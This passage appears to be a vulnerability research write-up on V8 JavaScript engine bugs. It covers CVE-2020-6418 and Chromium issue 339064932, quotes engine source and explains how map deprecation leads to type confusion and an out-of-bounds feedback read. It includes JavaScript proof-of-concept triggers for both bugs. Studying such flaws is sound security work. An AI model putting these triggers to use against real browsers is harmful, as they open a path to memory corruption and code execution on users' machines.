- elements kind: HOLEY_ELEMENTS
- unused property fields: 1
- enum length: invalid
- deprecated_map
- back pointer: 0x20010041ab69 <Map[28](HOLEY_ELEMENTS)>
- prototype_validity cell: 0x200100003875 <Cell value= 1>
- instance descriptors (own) #3: 0x20010034c115 <DescriptorArray[3]>
- prototype: 0x200100404a5d <Object map = 0x200100404119>
- constructor: 0x200100404621 <JSFunction Object (sfi = 0x2001003d7d95)>
- dependent code: 0x2001000022b9 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
and we it updates the map of obj2
, the split point can not hold more transition link, so it will be normalized to a dictionary map. Then a type confusion will happen when the engine tries to access the descriptor of the map.
CVE-2020-6418
Code dependencies are used to determine when should the compiler deoptimize the code. One of the dependencies is about Map. When we execute a function that does specific operation on an object frequently, and we always call it with objects with the same map, the engine can optimize the code and specialize the code for the map. If the map of the object is changed, the code will be deoptimized.
bool MapInference::RelyOnMapsHelper(CompilationDependencies* dependencies,
JSGraph* jsgraph, Effect* effect,
Control control,
const FeedbackSource& feedback) {
if (Safe()) return true;
auto is_stable = [](MapRef map) { return map.is_stable(); };
if (dependencies != nullptr &&
std::all_of(maps_.begin(), maps_.end(), is_stable)) {
for (MapRef map : maps_) {
dependencies->DependOnStableMap(map);
}
SetGuarded();
return true;
} else if (feedback.IsValid()) {
InsertMapChecks(jsgraph, effect, control, feedback);
return true;
} else {
return false;
}
}
This optimization is error-prone since the engine has to deal with all possible map changes correctly. One flaw here is in NodeProperties::InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe
which is used to add code dependencies and determine whether the code needs a guard or not.
case IrOpcode::kJSCreate: {
if (IsSame(receiver, effect)) {
base::Optional<MapRef> initial_map = GetJSCreateMap(broker, receiver);
if (initial_map.has_value()) {
*maps_return = ZoneHandleSet<Map>(initial_map->object());
return result;
}
// We reached the allocation of the {receiver}.
return kNoReceiverMaps;
}
break;
}
InferReceiverMapsUnsafe
walks the effect chain until it find the node that create the current object (isSame(receiver, effect)
). If it finds a node without kNoWrite
during traversal, it will mark the result as unstable. When the object is not the output of the JSCreate
we should mark it as unstable since JSCreate
can raise side-effect. However the code above forgot to do it. To exploit this, we can make an effect chain without write flags by passing the target function without writing effects.
let pwn = false;
let a;
function trigger_fixed(a, p) {
return a.pop(Reflect.construct(function () {
a; // I only read it :-)
}, arguments, p));
}
let p = new Proxy(Array, {
get: function () {
if (pwn) {
a[2] = 1.1;
}
return Array.prototype;
}
});
for (let i = 0; i < 0x10000; i++) {
a = [0, 1, 2, 3, 4];
if (i == 0x10000 - 1) {
pwn = true;
}
trigger_fixed(a, p);
}
a[2] = 1.1
will change the type of the array but the function was not updated, this creates a type confusion.
Issue 339064932
Another map side effect.
In KeyedLoadIC::Load()
MaybeHandle<Object> KeyedLoadIC::Load(Handle<Object> object,
Handle<Object> key) {
if (MigrateDeprecated(isolate(), object)) {
return RuntimeLoad(object, key);
}
intptr_t maybe_index;
Handle<Name> maybe_name;
KeyType key_type = TryConvertKey(key, isolate(), &maybe_index, &maybe_name);
if (key_type == kName) return LoadName(object, key, maybe_name);
bool is_found = false;
MaybeHandle<Object> result = RuntimeLoad(object, key, &is_found); // <=== RuntimeLoad can trigger side effects
size_t index;
if (key_type == kIntPtr && CanCache(object, state()) &&
IntPtrKeyToSize(maybe_index, Cast<HeapObject>(object), &index)) {
Handle<HeapObject> receiver = Cast<HeapObject>(object);
KeyedAccessLoadMode load_mode =
GetNewKeyedLoadMode(isolate(), receiver, index, is_found);
UpdateLoadElement(receiver, load_mode);
if (is_vector_set()) {
TraceIC("LoadIC", key);
}
}
if (vector_needs_update()) {
ConfigureVectorState(MEGAMORPHIC, key);
TraceIC("LoadIC", key);
}
return result;
}
and in UpdateLoadElement
void KeyedLoadIC::UpdateLoadElement(Handle<HeapObject> receiver,
const KeyedAccessLoadMode new_load_mode) {
Handle<Map> receiver_map(receiver->map(), isolate());
DCHECK(receiver_map->instance_type() !=
JS_PRIMITIVE_WRAPPER_TYPE); // Checked by caller.
MapHandles target_receiver_maps;
TargetMaps(&target_receiver_maps); // [1] all target maps can be deprecated
// ...
// Determine the list of receiver maps that this call site has seen,
// adding the map that was just encountered.
KeyedAccessLoadMode old_load_mode = KeyedAccessLoadMode::kInBounds;
if (!AddOneReceiverMapIfMissing(&target_receiver_maps, receiver_map)) { // [2] the receiver map can be deprecated
old_load_mode = GetKeyedAccessLoadModeFor(receiver_map);
if (!AllowedHandlerChange(old_load_mode, new_load_mode)) {
set_slow_stub_reason("same map added twice");
return;
}
}
// ...
MaybeObjectHandles handlers;
handlers.reserve(target_receiver_maps.size());
KeyedAccessLoadMode load_mode =
GeneralizeKeyedAccessLoadMode(old_load_mode, new_load_mode);
LoadElementPolymorphicHandlers(&target_receiver_maps, &handlers, load_mode);
DCHECK_LE(1, target_receiver_maps.size()); // [3] LoadElementPolymorphicHandlers will remove deprecated maps, the target_receiver_maps can be empty
if (target_receiver_maps.size() == 1) {
ConfigureVectorState(Handle<Name>(), target_receiver_maps[0], handlers[0]);
} else {
ConfigureVectorState(Handle<Name>(),
MapHandlesSpan(target_receiver_maps.begin(),
target_receiver_maps.end()),
&handlers);
}
at [1] all target maps can be deprecated since the map updating in Load
will not update the target maps but only the receiver map. But the receiver map can be deprecated by the following side effect. At [2] all maps in target_receiver_maps
can be deprecated. And at [3] LoadElementPolymorphicHandlers
will remove deprecated maps, the target_receiver_maps
can be empty.
The following PoC triggers the DCHECK
function f(a) {
let str = "1";
let p = a[str];
return p;
}
let o1 = {"1": 1, a: 2};
let o1_ = {"1": 1, a: 2};
let o2 = {a: 1, b: 1, "1": 1.1};
let o2_ = {a: 1, b: 1, "1": 1.1};
let o3 = {};
o3.aa = 1;
o3.bb = 1;
o3.cc = 1;
o3.__defineGetter__("1", () => { });
let o3_ = {};
o3_.aa = 1;
o3_.bb = 1;
o3_.cc = 1;
o3_.__defineGetter__("1", () => {
o3.aa = 13.37; // deprecate o3_->map()
});
// generate feedback,
// turn IC to polymorphic mode
for (let i = 0; i < 0x1000; i++) {
f(o1);
}
for (let i = 0; i < 0x1000; i++) {
f(o2);
}
o1.a = 13.37;
o2.a = 13.37; // deprecate o1, o2's map
f(o3_); // IC miss
Memory corruption
In ConfigurePolymorphic
since the receiver_count
is 0
, the zero length WeakFixedArray
will be set as the new feedback array. Each feedback entry contains two elements, a map and a handler.
void FeedbackNexus::ConfigurePolymorphic(
Handle<Name> name, std::vector<MapAndHandler> const& maps_and_handlers) {
int receiver_count = static_cast<int>(maps_and_handlers.size());
DCHECK_GT(receiver_count, 1);
Handle<WeakFixedArray> array = CreateArrayOfSize(receiver_count * 2);
for (int current = 0; current < receiver_count; ++current) {
Handle<Map> map = maps_and_handlers[current].first;
array->set(current * 2, MakeWeak(*map));
MaybeObjectHandle handler = maps_and_handlers[current].second;
DCHECK(IC::IsHandler(*handler));
array->set(current * 2 + 1, *handler);
}
if (name.is_null()) {
SetFeedback(*array, UPDATE_WRITE_BARRIER, UninitializedSentinel(),
SKIP_WRITE_BARRIER);
} else {
SetFeedback(*name, UPDATE_WRITE_BARRIER, *array);
}
}
Then in HandlePolymorphicCase
the function assumes that the feedback array has at least one entry, with 2 elements. And loop backwards from length - kEntrySize
to 0
. But the length is 0
so the loop will result in an out-of-bound read. If an unexpected map is crafted nearby the feedback array, that can make it jump to a wrong handler. And wrong handler leads to an exploitable type confusion.
void AccessorAssembler::HandlePolymorphicCase(
TNode<HeapObjectReference> weak_lookup_start_object_map,
TNode<WeakFixedArray> feedback, Label* if_handler,
TVariable<MaybeObject>* var_handler, Label* if_miss) {
Comment("HandlePolymorphicCase");
DCHECK_EQ(MachineRepresentation::kTagged, var_handler->rep());
// Iterate {feedback} array.
const int kEntrySize = 2;
// Load the {feedback} array length.
TNode<Int32T> length =
Signed(LoadAndUntagWeakFixedArrayLengthAsUint32(feedback));
CSA_DCHECK(this, Int32LessThanOrEqual(Int32Constant(kEntrySize), length));
// This is a hand-crafted loop that iterates backwards and only compares
// against zero at the end, since we already know that we will have at least a
// single entry in the {feedback} array anyways.
TVARIABLE(Int32T, var_index, Int32Sub(length, Int32Constant(kEntrySize)));
Label loop(this, &var_index), loop_next(this);
Goto(&loop);
BIND(&loop);
{
TNode<IntPtrT> index = ChangePositiveInt32ToIntPtr(var_index.value());
TNode<MaybeObject> maybe_cached_map =
LoadWeakFixedArrayElement(feedback, index);
CSA_DCHECK(this,
IsMap(GetHeapObjectAssumeWeak(weak_lookup_start_object_map)));
GotoIfNot(TaggedEqual(maybe_cached_map, weak_lookup_start_object_map),
&loop_next);
// Found, now call handler.
TNode<MaybeObject> handler =
LoadWeakFixedArrayElement(feedback, index, kTaggedSize);
*var_handler = handler;
Goto(if_handler);
BIND(&loop_next);
var_index = Int32Sub(var_index.value(), Int32Constant(kEntrySize));
Branch(Int32GreaterThanOrEqual(var_index.value(), Int32Constant(0)), &loop,
if_miss);
}
}